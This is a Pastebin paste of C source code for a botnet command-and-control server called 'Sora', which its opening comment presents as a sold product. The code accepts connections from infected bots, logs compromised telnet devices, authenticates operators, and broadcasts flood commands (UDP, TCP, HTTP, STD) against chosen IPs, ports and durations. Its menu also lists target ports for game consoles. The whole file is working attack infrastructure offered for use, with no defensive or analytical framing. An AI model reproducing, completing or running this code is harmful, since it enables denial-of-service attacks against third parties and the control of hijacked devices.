Advertisement
Guest User

Untitled

a guest
Aug 18th, 2018
565
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.08 KB | None | 0 0
  1. // Sora SS By 873u ;)
  2. // Thanks For Buying!
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <stdint.h>
  6. #include <inttypes.h>
  7. #include <string.h>
  8. #include <sys/types.h>
  9. #include <sys/socket.h>
  10. #include <netdb.h>
  11. #include <unistd.h>
  12. #include <time.h>
  13. #include <fcntl.h>
  14. #include <sys/epoll.h>
  15. #include <errno.h>
  16. #include <pthread.h>
  17. #include <signal.h>
  18. #include <arpa/inet.h>
  19. #define MAXFDS 1000000
  20. //////////////////////////////////
  21. struct login_info {
  22. char username[20];
  23. char password[20];
  24. };
  25. static struct login_info accounts[22];
  26. struct clientdata_t {
  27. uint32_t ip;
  28. char connected;
  29. } clients[MAXFDS];
  30. struct telnetdata_t {
  31. int connected;
  32. } managements[MAXFDS];
  33. struct args {
  34. int sock;
  35. struct sockaddr_in cli_addr;
  36. };
  37. static volatile FILE *telFD;
  38. static volatile FILE *fileFD;
  39. static volatile int epollFD = 0;
  40. static volatile int listenFD = 0;
  41. static volatile int OperatorsConnected = 0;
  42. static volatile int TELFound = 0;
  43. static volatile int scannerreport;
  44. //////////////////////////////////
  45. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  46. int total = 0, got = 1;
  47. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  48. return got;
  49. }
  50. void trim(char *str) {
  51. int i;
  52. int begin = 0;
  53. int end = strlen(str) - 1;
  54. while (isspace(str[begin])) begin++;
  55. while ((end >= begin) && isspace(str[end])) end--;
  56. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  57. str[i - begin] = '\0';
  58. }
  59. static int make_socket_non_blocking (int sfd) {
  60. int flags, s;
  61. flags = fcntl (sfd, F_GETFL, 0);
  62. if (flags == -1) {
  63. perror ("fcntl");
  64. return -1;
  65. }
  66. flags |= O_NONBLOCK;
  67. s = fcntl (sfd, F_SETFL, flags);
  68. if (s == -1) {
  69. perror ("fcntl");
  70. return -1;
  71. }
  72. return 0;
  73. }
  74. static int create_and_bind (char *port) {
  75. struct addrinfo hints;
  76. struct addrinfo *result, *rp;
  77. int s, sfd;
  78. memset (&hints, 0, sizeof (struct addrinfo));
  79. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  80. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  81. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  82. s = getaddrinfo (NULL, port, &hints, &result);
  83. if (s != 0) {
  84. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  85. return -1;
  86. }
  87. for (rp = result; rp != NULL; rp = rp->ai_next) {
  88. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  89. if (sfd == -1) continue;
  90. int yes = 1;
  91. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  92. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  93. if (s == 0) {
  94. break;
  95. }
  96. close (sfd);
  97. }
  98. if (rp == NULL) {
  99. fprintf (stderr, "Could not bind\n");
  100. return -1;
  101. }
  102. freeaddrinfo (result);
  103. return sfd;
  104. }
  105. void broadcast(char *msg, int us, char *sender)
  106. {
  107. int sendMGM = 1;
  108. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  109. char *wot = malloc(strlen(msg) + 10);
  110. memset(wot, 0, strlen(msg) + 10);
  111. strcpy(wot, msg);
  112. trim(wot);
  113. time_t rawtime;
  114. struct tm * timeinfo;
  115. time(&rawtime);
  116. timeinfo = localtime(&rawtime);
  117. char *timestamp = asctime(timeinfo);
  118. trim(timestamp);
  119. int i;
  120. for(i = 0; i < MAXFDS; i++)
  121. {
  122. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  123. if(sendMGM && managements[i].connected)
  124. {
  125. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  126. send(i, sender, strlen(sender), MSG_NOSIGNAL); // Para: SS
  127. send(i, ": ", 2, MSG_NOSIGNAL);
  128. }
  129. printf("sent to fd: %d\n", i);
  130. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  131. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[37mDrakos: ", 13, MSG_NOSIGNAL);
  132. else send(i, "\n", 1, MSG_NOSIGNAL);
  133. }
  134. free(wot);
  135. }
  136. void *BotEventLoop(void *useless) {
  137. struct epoll_event event;
  138. struct epoll_event *events;
  139. int s;
  140. events = calloc (MAXFDS, sizeof event);
  141. while (1) {
  142. int n, i;
  143. n = epoll_wait (epollFD, events, MAXFDS, -1);
  144. for (i = 0; i < n; i++) {
  145. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  146. clients[events[i].data.fd].connected = 0;
  147. close(events[i].data.fd);
  148. continue;
  149. }
  150. else if (listenFD == events[i].data.fd) {
  151. while (1) {
  152. struct sockaddr in_addr;
  153. socklen_t in_len;
  154. int infd, ipIndex;
  155.  
  156. in_len = sizeof in_addr;
  157. infd = accept (listenFD, &in_addr, &in_len);
  158. if (infd == -1) {
  159. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  160. else {
  161. perror ("accept");
  162. break;
  163. }
  164. }
  165.  
  166. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  167. int dup = 0;
  168. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  169. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  170. if(clients[ipIndex].ip == clients[infd].ip) {
  171. dup = 1;
  172. break;
  173. }}
  174. if(dup) {
  175. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  176. close(infd);
  177. continue;
  178. }
  179. s = make_socket_non_blocking (infd);
  180. if (s == -1) { close(infd); break; }
  181. event.data.fd = infd;
  182. event.events = EPOLLIN | EPOLLET;
  183. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  184. if (s == -1) {
  185. perror ("epoll_ctl");
  186. close(infd);
  187. break;
  188. }
  189. clients[infd].connected = 1;
  190. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  191. }
  192. continue;
  193. }
  194. else {
  195. int datafd = events[i].data.fd;
  196. struct clientdata_t *client = &(clients[datafd]);
  197. int done = 0;
  198. client->connected = 1;
  199. while (1) {
  200. ssize_t count;
  201. char buf[2048];
  202. memset(buf, 0, sizeof buf);
  203. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  204. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  205. trim(buf);
  206. if(strcmp(buf, "PING") == 0) {
  207. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  208. continue;
  209. }
  210. if(strstr(buf, "REPORT ") == buf) {
  211. char *line = strstr(buf, "REPORT ") + 7;
  212. fprintf(telFD, "%s\n", line);
  213. fflush(telFD);
  214. TELFound++;
  215. continue;
  216. }
  217. if(strstr(buf, "PROBING") == buf) {
  218. char *line = strstr(buf, "PROBING");
  219. scannerreport = 1;
  220. continue;
  221. }
  222. if(strstr(buf, "REMOVING PROBE") == buf) {
  223. char *line = strstr(buf, "REMOVING PROBE");
  224. scannerreport = 0;
  225. continue;
  226. }
  227. if(strcmp(buf, "PONG") == 0) {
  228. continue;
  229. }
  230. printf("buf: \"%s\"\n", buf);
  231. }
  232. if (count == -1) {
  233. if (errno != EAGAIN) {
  234. done = 1;
  235. }
  236. break;
  237. }
  238. else if (count == 0) {
  239. done = 1;
  240. break;
  241. }
  242. if (done) {
  243. client->connected = 0;
  244. close(datafd);
  245. }
  246. }
  247. }
  248. }
  249. }
  250. }
  251. unsigned int BotsConnected() {
  252. int i = 0, total = 0;
  253. for(i = 0; i < MAXFDS; i++) {
  254. if(!clients[i].connected) continue;
  255. total++;
  256. }
  257. return total;
  258. }
  259. void *TitleWriter(void *sock) {
  260. int datafd = (int)sock;
  261. char string[2048];
  262. while(1) {
  263. memset(string, 0, 2048);
  264. sprintf(string, "%c]0;Skids Conntected: %d | Telnets Scanned: %d | VerifiedUser's: %d%c", '\033', BotsConnected(), TELFound, OperatorsConnected, '\007');
  265. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  266. sleep(2);
  267. }}
  268. int Find_Login(char *str) {
  269. FILE *fp;
  270. int line_num = 0;
  271. int find_result = 0, find_line=0;
  272. char temp[512];
  273.  
  274. if((fp = fopen("login.txt", "r")) == NULL){
  275. return(-1);
  276. }
  277. while(fgets(temp, 512, fp) != NULL){
  278. if((strstr(temp, str)) != NULL){
  279. find_result++;
  280. find_line = line_num;
  281. }
  282. line_num++;
  283. }
  284. if(fp)
  285. fclose(fp);
  286. if(find_result == 0)return 0;
  287. return find_line;
  288. }
  289. void *BotWorker(void *sock) {
  290. int datafd = (int)sock;
  291. int find_line;
  292. OperatorsConnected++;
  293. pthread_t title;
  294. char buf[2048];
  295. char* username;
  296. char* password;
  297. memset(buf, 0, sizeof buf);
  298. char botnet[2048];
  299. memset(botnet, 0, 2048);
  300.  
  301. FILE *fp;
  302. int i=0;
  303. int c;
  304. fp=fopen("login.txt", "r");
  305. while(!feof(fp)) {
  306. c=fgetc(fp);
  307. ++i;
  308. }
  309. int j=0;
  310. rewind(fp);
  311. while(j!=i-1) {
  312. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  313. ++j;
  314. }
  315.  
  316. if(send(datafd, "\x1b[31mSora: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  317. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  318. trim(buf);
  319. char* nickstring;
  320. sprintf(accounts[find_line].username, buf);
  321. nickstring = ("%s", buf);
  322. find_line = Find_Login(nickstring);
  323. if(strcmp(nickstring, accounts[find_line].username) == 0){
  324. if(send(datafd, "\x1b[31mSora: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  325. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  326. trim(buf);
  327. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  328. memset(buf, 0, 2048);
  329. goto Banner;
  330. }
  331. failed:
  332. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  333. char failed_line1[80];
  334.  
  335. sprintf(failed_line1, "\x1b[37mNot Gang Enough For This Net\r\n");
  336. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  337. sleep(5);
  338. goto end;
  339.  
  340. Banner:
  341. pthread_create(&title, NULL, &TitleWriter, sock);
  342. char ascii_banner_line1 [5000];
  343. char ascii_banner_line2 [5000];
  344. char ascii_banner_line3 [5000];
  345. char ascii_banner_line4 [5000];
  346. char ascii_banner_line5 [5000];
  347. char ascii_banner_line6 [5000];
  348. char welcome_line [80];
  349. char banner_bot_count [2048];
  350. memset(banner_bot_count, 0, 2048);
  351.  
  352. sprintf(ascii_banner_line1, "\x1b[1;37m███████╗ ██████╗ ██████╗ █████╗ \r\n");
  353. sprintf(ascii_banner_line2, "\x1b[1;36m██╔════╝██╔═══██╗██╔══██╗██╔══██╗ \r\n");
  354. sprintf(ascii_banner_line3, "\x1b[1;37m███████╗██║ ██║██████╔╝███████║ \r\n");
  355. sprintf(ascii_banner_line4, "\x1b[1;36m╚════██║██║ ██║██╔══██╗██╔══██║ \r\n");
  356. sprintf(ascii_banner_line5, "\x1b[1;37m███████║╚██████╔╝██║ ██║██║ ██║ \r\n");
  357. sprintf(ascii_banner_line6, "\x1b[1;36m╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ \r\n");
  358. sprintf(welcome_line, "\x1b[1;31m \x1b[31m[ \x1b[37mBots Connected: %d\x1b[31m ]\r\n", BotsConnected(), OperatorsConnected);
  359. sprintf(banner_bot_count, "\r\n\x1b[37m \x1b[31m[ \x1b[37mWelcome To Sora Net %s\x1b[31m ]\r\n", accounts[find_line].username);
  360. // Welcome line is being a dick, fix if you want.
  361. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  362. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  363. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  364. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  365. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  366. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  367. while(1) {
  368. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  369. if(send(datafd, "\x1b[37mDrakos: ", 12, MSG_NOSIGNAL) == -1) goto end;
  370. break;
  371. }
  372. pthread_create(&title, NULL, &TitleWriter, sock);
  373. managements[datafd].connected = 1;
  374.  
  375. while(fdgets(buf, sizeof buf, datafd) > 0)
  376. {
  377. if(strstr(buf, "BOTS")) {
  378. char botcount [2048];
  379. memset(botcount, 0, 2048);
  380. sprintf(botcount, "[+] - Spooks Connected: [\x1b[37m %d \x1b[31m] [+] - Users Online: [\x1b[37m %d \x1b[31m]\r\n", BotsConnected(), OperatorsConnected);
  381. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  382. if(send(datafd, "\x1b[31mDrako: ", 12, MSG_NOSIGNAL) == -1) goto end;
  383. continue;
  384. }
  385. if(strstr(buf, "STATUS")){
  386. char statuscount [2048];
  387. memset(statuscount, 0, 2048);
  388. sprintf(statuscount, "[+] - Devices: [\x1b[37m %d \x1b[37m] [+] - Status: [\x1b[37m %d \x1b[37m]\r\n", TELFound, scannerreport);
  389. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  390. if(send(datafd, "\x1b[37mSpook: ", 12, MSG_NOSIGNAL) == -1) goto end;
  391. continue;
  392. }
  393. if(strstr(buf, "HELP")) {
  394. pthread_create(&title, NULL, &TitleWriter, sock);
  395. char helpline1 [80];
  396. char helpline2 [80];
  397. char helpline3 [80];
  398. char helpline4 [80];
  399. char helpline5 [80];
  400. char helpline6 [80];
  401. char helpline7 [80];
  402. char helpline9 [80];
  403. char helpline11 [80];
  404. char helpline12 [80];
  405. char helpline13 [80];
  406. char helpline14 [80];
  407. char helpline15 [80];
  408.  
  409. sprintf(helpline1, " \r\n\x1b[31m[ \x1b[37mDrakos Commands \x1b[31m]\r\n\r\n");
  410. sprintf(helpline2, " \x1b[31m-> UDP - \x1b[37m!* UDP [IP] [Port] [Time] 32 0 10\r\n");
  411. sprintf(helpline3, " \x1b[31m-> TCP - \x1b[37m!* TCP [IP] [Port] [Time] 32 all 0 10\r\n");
  412. sprintf(helpline4, " \x1b[31m-> HTTP - \x1b[37m!* HTTP [Url] [Time]\r\n");
  413. sprintf(helpline5, " \x1b[31m-> STD - \x1b[37m!* STD [IP] [PORT] [TIME]\r\n");
  414. sprintf(helpline7, " \x1b[31m-> Kills Attack - \x1b[37mKILL\r\n");
  415. sprintf(helpline9, " \x1b[31m-> Bot Count - \x1b[37mBOTS\r\n");
  416. sprintf(helpline11, " \x1b[31m-> Clear Screen - \x1b[37mCLEAR\r\n");
  417. sprintf(helpline12, " \x1b[31m-> LOGOUT - \x1b[37mLOGOUT\r\n");
  418. sprintf(helpline13, " \x1b[31m-> RULES - \x1b[37mRULES\r\n");
  419. sprintf(helpline14, " \x1b[31m-> ATTACK PORTS - \x1b[37mPORTS\r\n");
  420. sprintf(helpline15, " \r\n");
  421.  
  422. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  423. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  424. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  425. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  426. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  427. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  428. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  429. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  430. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  431. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  432. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  433. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  434. pthread_create(&title, NULL, &TitleWriter, sock);
  435. if(send(datafd, "\x1b[37mSpook: ", 12, MSG_NOSIGNAL) == -1) goto end;
  436. continue;
  437. }
  438. if(strstr(buf, "ATTACK")) {
  439. pthread_create(&title, NULL, &TitleWriter, sock);
  440. char ls1 [80];
  441. char ls2 [80];
  442. char ls3 [80];
  443. char ls4 [80];
  444. char ls5 [80];
  445.  
  446. sprintf(ls1, " \r\n\x1b[31m[ \x1b[37m Gang Attacks \x1b[31m]\r\n\r\n");
  447. sprintf(ls2, " \x1b[31m-> UDP - \x1b[37m!* UDP [IP] [Port] [Time] 32 0 10\r\n");
  448. sprintf(ls3, " \x1b[31m-> TCP - \x1b[37m!* TCP [IP] [Port] [Time] 32 all 0 10\r\n");
  449. sprintf(ls4, " \x1b[31m-> HTTP - \x1b[37m!* HTTP [Url] [Time]\r\n");
  450. sprintf(ls5, " \x1b[31m-> STD - \x1b[37m!* STD [IP] [PORT] [TIME]\r\n");
  451.  
  452. if(send(datafd, ls1, strlen(ls1), MSG_NOSIGNAL) == -1) goto end;
  453. if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end;
  454. if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end;
  455. if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end;
  456. if(send(datafd, ls5, strlen(ls5), MSG_NOSIGNAL) == -1) goto end;
  457.  
  458. pthread_create(&title, NULL, &TitleWriter, sock);
  459. if(send(datafd, "\x1b[37mDrakos: ", 12, MSG_NOSIGNAL) == -1) goto end;
  460. continue;
  461. }
  462.  
  463. if(strstr(buf, "KILL")) {
  464. char killattack [2048];
  465. memset(killattack, 0, 2048);
  466. sprintf(killattack, "!* KILLATTK\r\n");
  467. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  468. if(send(datafd, "\x1b[37mSpook: ", 12, MSG_NOSIGNAL) == -1) goto end;
  469. continue;
  470. }
  471. if(strstr(buf, "CLEAR")) {
  472. char clearscreen [2048];
  473. memset(clearscreen, 0, 2048);
  474. sprintf(clearscreen, "\033[2J\033[1;1H");
  475. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  476. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  477. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  478. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  479. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  480. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  481. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  482. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  483. while(1) {
  484. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  485. if(send(datafd, "\x1b[37mSpook: ", 12, MSG_NOSIGNAL) == -1) goto end;
  486. break;
  487. }
  488. continue;
  489. }
  490. if(strstr(buf, "RULES")) {
  491. pthread_create(&title, NULL, &TitleWriter, sock);
  492. char tos1 [80];
  493. sprintf(tos1, "\r\n\x1b[37mRULES: \x1b[31mBe As Spooky As You Can | Do Not Spam Attacks | No Giving Out Login Credentials | No DDoSing Government Sites\r\n\r\n");
  494.  
  495. if(send(datafd, tos1, strlen(tos1), MSG_NOSIGNAL) == -1) goto end;
  496. pthread_create(&title, NULL, &TitleWriter, sock);
  497. if(send(datafd, "\x1b[37mSpook: ", 12, MSG_NOSIGNAL) == -1) goto end;
  498. continue;
  499. }
  500. if(strstr(buf, "PORTS")) {
  501. pthread_create(&title, NULL, &TitleWriter, sock);
  502. char tos1 [80];
  503. sprintf(tos1, "\r\n\x1b[37mPORTS: \x1b[31mXBOX: 3074 | PSN: 443 | DEFAULT: 80 | DNS: 53\r\n\r\n");
  504.  
  505. if(send(datafd, tos1, strlen(tos1), MSG_NOSIGNAL) == -1) goto end;
  506. pthread_create(&title, NULL, &TitleWriter, sock);
  507. if(send(datafd, "\x1b[37mSpook: ", 12, MSG_NOSIGNAL) == -1) goto end;
  508. continue;
  509.  
  510. }
  511.  
  512. if(strstr(buf, "LOGOUT")) {
  513. char logoutmessage [2048];
  514. memset(logoutmessage, 0, 2048);
  515. sprintf(logoutmessage, "Banana clip Drako, %s", accounts[find_line].username);
  516. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  517. sleep(5);
  518. goto end;
  519. }
  520. trim(buf);
  521. if(send(datafd, "\x1b[37mSpook: ", 11, MSG_NOSIGNAL) == -1) goto end;
  522. if(strlen(buf) == 0) continue;
  523. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  524.  
  525. FILE *LogFile;
  526. LogFile = fopen("server.log", "a");
  527. time_t now;
  528. struct tm *gmt;
  529. char formatted_gmt [50];
  530. char lcltime[50];
  531. now = time(NULL);
  532. gmt = gmtime(&now);
  533. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  534. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  535. fclose(LogFile);
  536. broadcast(buf, datafd, accounts[find_line].username);
  537. memset(buf, 0, 2048);
  538. }
  539. end:
  540. managements[datafd].connected = 0;
  541. close(datafd);
  542. OperatorsConnected--;
  543. }
  544. void *BotListener(int port) {
  545. int sockfd, newsockfd;
  546. socklen_t clilen;
  547. struct sockaddr_in serv_addr, cli_addr;
  548. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  549. if (sockfd < 0) perror("ERROR opening socket");
  550. bzero((char *) &serv_addr, sizeof(serv_addr));
  551. serv_addr.sin_family = AF_INET;
  552. serv_addr.sin_addr.s_addr = INADDR_ANY;
  553. serv_addr.sin_port = htons(port);
  554. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  555. listen(sockfd,5);
  556. clilen = sizeof(cli_addr);
  557. while(1) {
  558. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  559. if (newsockfd < 0) perror("ERROR on accept");
  560. pthread_t thread;
  561. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  562. }}
  563. int main (int argc, char *argv[], void *sock)
  564. {
  565. signal(SIGPIPE, SIG_IGN);
  566. int s, threads, port;
  567. struct epoll_event event;
  568. if (argc != 4) {
  569. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  570. exit (EXIT_FAILURE);
  571. }
  572. port = atoi(argv[3]);
  573. telFD = fopen("telnet.txt", "a+");
  574. threads = atoi(argv[2]);
  575. listenFD = create_and_bind (argv[1]);
  576. if (listenFD == -1) abort ();
  577. s = make_socket_non_blocking (listenFD);
  578. if (s == -1) abort ();
  579. s = listen (listenFD, SOMAXCONN);
  580. if (s == -1) {
  581. perror ("listen");
  582. abort ();
  583. }
  584. epollFD = epoll_create1 (0);
  585. if (epollFD == -1) {
  586. perror ("epoll_create");
  587. abort ();
  588. }
  589. event.data.fd = listenFD;
  590. event.events = EPOLLIN | EPOLLET;
  591. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  592. if (s == -1) {
  593. perror ("epoll_ctl");
  594. abort ();
  595. }
  596. pthread_t thread[threads + 2];
  597. while(threads--) {
  598. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  599. }
  600. pthread_create(&thread[0], NULL, &BotListener, port);
  601. while(1) {
  602. broadcast("PING", -1, "SPOOK");
  603. sleep(60);
  604. }
  605. close (listenFD);
  606. return EXIT_SUCCESS;
  607. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement